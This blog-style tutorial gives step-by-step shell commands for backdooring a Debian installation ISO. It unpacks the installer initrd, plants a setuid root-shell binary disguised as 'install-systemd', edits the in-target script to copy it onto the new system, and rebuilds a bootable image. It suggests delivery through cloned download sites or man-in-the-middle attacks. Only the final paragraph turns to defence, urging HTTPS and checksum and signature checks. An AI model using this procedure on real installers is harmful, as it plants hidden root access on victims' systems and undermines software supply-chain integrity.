Backdooring Installation ISOs

Recently, for purely academic reasons, I had a need to create a script that would allow me to easily backdoor installation ISOs, the kind of ISOs you would find for UNIX/Linux-based distributions. I wanted something that could arbitrarily install any backdoor and evade detection, which is already easy enough since most users place trust in a freshly downloaded ISO. That is, unless they eagerly check the SHA sums, GPG signatures, or GPG-signed SHA sums (like they should).

Note that while this is most practical when users are downloading ISOs from a trusted, local "datastore" that can be modified by an adversary or from a clone of a legitimate download website, it can also be made applicable to real-time plain HTTP downloads in shared networking situations with the use of a MitM attack. Tools like Backdoor Factory Proxy already exist to do this on-the-fly with executables. It would be trivial to plug in my script to this sort of thing (and I just might someday).

So, you've got an ISO downloaded; how do you backdoor it? The process is fairly similar for most things, however there can be some differences. Let's pick on a Debian install ISO here; the same Debian install scripts are used as the foundation for the installation scripts of Ubuntu Server (Ubuntu desktop used a slightly different scheme), Kali Linux, their derivatives, and probably many others. We can start by mounting the ISO as a loop device so we can read the files like any other file on the filesystem.

mount -o loop iso-to-backdoor.iso /mnt

Great, it's mounted. However, loop devices are read-only, and we are going to need to modify the contents. Copy the files over somewhere else so we can manipulate them.

mkdir /tmp/linux-iso
tar cf - . 2>/dev/null | (cd /tmp/linux-iso; tar xfp - 2>/dev/null)

At this point, we don't need that loop mount anymore, so it can be unmounted with # umount /mnt.

Next, we need to decompress the installer initrd, or initial ramdisk (to get technical: even though the filename is initrd.gz, it is actually the initramfs scheme that is used instead of initrd nowadays). The ramdisk contains the installer's filesystem that will be loaded into RAM. The RAM looks like a typical Linux filesystem and contains all the binaries, files, etc. that the installer needs to function. This is the part that will vary by distribution. At time of writing, Debian used a gzipped initrd, and Ubuntu provided either a gzipped or lzma'd initrd using casper. Since we are dealing with Debian, the initrd is located in install.amd:

cd /tmp/linux-iso/install.amd
gunzip initrd.gz

The ramdisk is a cpio ("copy in and out") archive, and the cpio utility is needed to extract it.

mkdir tmp && cd tmp
cpio -id < ../initrd

Cool! What we are looking at now is the root filesystem of the installer.

But what to do now? Here's the fun, open-ended part; we can do plenty of malicious things here. Let's say you want to plant a setuid binary on the system, one that gives a low-privileged user a root shell. The files will need to be copied to somewhere within the initrd so that we can later call upon the installer to place them on the freshly-installed system. Really, they can be copied anywhere, but we'll keep it simple (predictable). For example, from that same directory:

cp /home/luser/setuid-shell bin/install-systemd

If you didn't figure it out, install-systemd is not a real binary (that I know of). I am just naming it that here to make the binary sound legitimate, even if the user sees it on their system. There are obviously better ways of hiding things on 'nix systems, but I will not detail those here. Generally, if I want to hide something in plain sight, systemd can be a useful scapegoat since nobody seems to want to touch it. Anyway, this is just one example of something you could plant; there are endless possibilities.

Now that our setuid-shell is planted on the installer's ramdisk, we still have to make sure it gets copied over to the newly installed system during install. In the maze of scripts that are run by the installer, there are probably infinitely many places to put this, but one that seemed easy to work with was /bin/in-target. This script is called after the target system has been mostly installed, so it is a useful time to copy our backdoors over. I noticed that this file seemed to be run multiple times during the install, so I used a conditional to ensure it only runs once; the file new was created by simply touching bin/new on the initrd. In this script, we just need to copy the files from the ramdisk to the target system:

if [ -e "/bin/new" ]; then
    cp /bin/install-systemd /target/bin/install-systemd
    rm /bin/new

The above can be placed anywhere in the file as long as it precedes the conditional exit statements. That's it! Now to reassemble the cpio archive.

find . | cpio --create --format='newc' > ../newinitrd
cd ..
gzip newinitrd && mv newinitrd.gz initrd.gz
rm -rf tmp
cd ..

There was also a list containing md5sums of everything, including the initrd, in md5sum.txt. I didn't do any research to see if it mattered, but I recomputed the md5sum of initrd.gz anyway.

The final step is to create a bootable ISO containing the original stuff as well as our modified ramdisk. This command may differ depending on what the ISO is.

genisoimage -v -R -J -no-emul-boot -b isolinux/isolinux.bin -boot-load-size 4 -boot-info-table -c isolinux/ -V "$V" -o backdoored-iso.iso /tmp/linux-iso
rm -rf /tmp/linux-iso

Having written the script months ago, I honestly do not remember why I set the -V parameter of genisoimage to $V, a variable which is not set anywhere, but I'm fairly certain it worked this way. If not, the -V option can be manually set to the volume label of the original ISO. This needs to be set correctly in order for it to boot.

Now, the ISO is backdoored and ready for install! When this ISO is used for an install, the backdoors will be planted, unbeknownst to the victim who believes that they just installed a clean system.

Of course, this could be tweaked to target other distributions as well, e.g. the Fedora family. I have also had success against the pfSense installer using a modified version of this script. As I mentioned, the backdoor planted here is rather rudimentary, and there are endless possibilities for backdoors to be planted during an install ranging from backdoored executables and libraries, kernel rootkits, and compromised bootloaders. This level of access completely violates any assurance of integrity on the system whatsoever and goes beyond the scope of a standard threat model. That being said, it is fairly easy to mitigate this kind of attack in most cases. An on-the-fly download hijacking can be foiled by properly configured HTTPS. Even with HTTPS, the proactive validation of SHA sums and/or cryptographic signatures should be performed.

If nothing else, I hope you learned to check those SHA sums!